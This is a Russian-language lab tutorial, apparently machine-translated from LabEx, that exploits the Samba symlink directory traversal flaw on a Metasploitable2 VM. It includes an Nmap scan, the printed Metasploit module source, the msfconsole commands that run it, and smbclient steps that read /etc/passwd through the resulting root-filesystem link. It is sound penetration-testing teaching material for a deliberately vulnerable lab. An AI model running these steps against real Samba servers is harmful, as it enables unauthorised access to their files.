Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом практическом занятии (лабораторной работе) вы научитесь эксплуатировать новую уязвимость Samba на целевой машине Metasploitable2. Во всем процессе вам будут предоставлены скриншоты для каждого шага. Завершив это практическое занятие, вы получите практический опыт использования инструментов для эксплойта уязвимости Samba.

Этот курс представляет собой чисто практический экспериментальный учебник. Чтобы помочь вам понять операции в эксперименте, будут представлены некоторые теории информационной безопасности, и будут рекомендованы наиболее ценные статьи для чтения в процессе практики.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/packet_analysis("Packet Analysis") subgraph Lab Skills nmap/installation -.-> lab-416125{{"Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap"}} nmap/port_scanning -.-> lab-416125{{"Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap"}} nmap/host_discovery -.-> lab-416125{{"Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap"}} nmap/target_specification -.-> lab-416125{{"Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap"}} nmap/service_detection -.-> lab-416125{{"Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap"}} wireshark/packet_analysis -.-> lab-416125{{"Эксплуатация уязвимости Samba на Metasploitable2 с помощью Nmap"}} end

Запуск экспериментальной среды

На этом шаге вы запустите машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для эксперимента.

  1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей ping:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив команду:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

Теперь как машина-атакующая, так и целевая машина работают, и вы можете приступить к пентестингу (проверке на проникновение).

Примечание: Если вы случайно выйдете из текущего сеанса bash, контейнер Kali автоматически остановится. Вы можете снова выполнить команду docker run -ti --network host b5b709a49cd5 bash на хост-машине, чтобы запустить новый контейнер Kali и войти в bash для продолжения эксперимента.

Сканирование целевого хоста на наличие уязвимостей

На этом шаге вы будете использовать Nmap для сканирования целевого хоста на наличие уязвимостей.

Сначала войдите в терминал MSF в среде LabEx Kali:

cd ~
service postgresql start
msfdb init
msfconsole

Сбор информации о целевом хосте является первым шагом в пентестинге (проверке на проникновение). Используйте Nmap для сканирования целевого хоста на наличие уязвимостей и сохраните результаты сканирования в файл /tmp/report.txt, введя следующую команду:

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Параметры, использованные здесь, имеют следующие значения:

Параметр Описание
-p Указывает диапазон портов для сканирования
-T4 Устанавливает политику времени сканирования Nmap, значения от 0 до 5 (чем выше, тем быстрее)
-A Включает определение операционной системы и определение версии
-v Отображает подробную информацию в процессе сканирования
>/tmp/report.txt Перенаправляет вывод в файл для последующего анализа

Этот процесс может занять некоторое время, так как сканируется большой диапазон портов для комплексного сбора информации. Пожалуйста, будьте терпеливы и подождите одну-две минуты.

После завершения сканирования нажмите Ctrl+D и используйте команду cat для просмотра содержимого файла в терминале LabEx Kali:

cat /tmp/report.txt

В тексте вы должны увидеть информацию, похожую на следующую:

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Это означает, что на портах 139 и 445 работает служба Samba.

Анализ уязвимости Samba

На этом шаге вы узнаете о уязвимости Samba и проанализируете основной код эксплойт-модуля.

Samba - это свободное программное обеспечение, которое позволяет операционным системам, похожим на UNIX, подключаться к сети с использованием протокола SMB/CIFS (Server Message Block/Common Internet File System), применяемого в Microsoft Windows. Версия 3 не только позволяет получать доступ к и делиться папками и принтерами SMB, но также может интегрироваться в домен Windows Server в качестве контроллера домена или присоединиться к Active Directory как член. Проще говоря, это программное обеспечение устраняет разрыв между Windows и операционными системами, похожими на UNIX, обеспечивая общий доступ к ресурсам между ними.

Samba имеет широкое применение, и поэтому уязвимости в Samba могут иметь значительное влияние. Samba может создавать сетевые общие ресурсы для выбранных каталогов Unix (включая все подкаталоги). Эта функция позволяет пользователям Windows получать доступ к этим каталогам Unix по сети, как если бы они были обычными папками Windows.

Индекс уязвимости, используемый в этом эксперименте:

OSVDB-62145

Индекс исходного кода модуля Samba, используемого в этом эксперименте:

symlink_traversal.rb

Пройдемся по объяснению основного кода:

  ## Module initialization information, including author information and module introduction
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Register option information
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Main execution function
  def run

    ## Function to connect to the server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Connect to the target host
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Attempt to enter the root filesystem
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Print success message after successful entry
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

После объяснения основного кода модуля, давайте выполним фактическую эксплуатацию уязвимости в терминале MSF, введя следующие команды:

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

Установите целевой хост:

set RHOST 192.168.122.102

Выберите общий каталог:

set SMBSHARE tmp

Примечание: В качестве напоминания, последствие этой уязвимости Samba заключается в том, что она позволяет создавать сетевые общие ресурсы для выбранных каталогов Unix (включая все подкаталоги).

После настройки всех необходимых параметров вы можете приступить к эксплуатации уязвимости:

exploit

В случае успеха вы должны увидеть следующее сообщение:

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

После успешной эксплуатации уязвимости выйдите с помощью команды exit и проверьте, можно ли подключиться с использованием smbclient в терминале. Вас попросят ввести пароль, но вы можете нажать Enter, не вводя никакого пароля:

exit
smbclient //192.168.122.102/tmp

После подключения вы можете проверить доступ к корневому файловому системному разделу, выполнив следующую команду:

more rootfs/etc/passwd

Вы должны увидеть вывод, похожий на следующий:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

Это подтверждает, что вы успешно эксплуатировали уязвимость и получили доступ к целевому хосту через созданный сетевой общий ресурс.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Заключение

В этом практическом занятии (лабораторной работе) вы узнали о уязвимости Samba в Metasploitable2 и были приведены по шагам через процесс эксплойта этой уязвимости на целевой машине. Затем вы использовали созданный сетевой общий ресурс для входа на скомпрометированный целевой хост. Ключевые моменты, рассмотренные в этой лабораторной работе, включают:

  • Базовые команды Linux
  • Сканирование на уязвимости с использованием Nmap
  • Анализ обнаруженной уязвимости Samba
  • Объяснение основного кода модуля symlink_traversal
  • Вход на целевой хост с использованием сетевого файлового общего ресурса

Рекомендуется повторить эти шаги несколько раз, чтобы укрепить понимание процесса пентестинга (проверки на проникновение). В разделе рекомендуемых материалов для чтения представлены дополнительные ресурсы, которые помогут вам углубить свои знания о уязвимостях Samba.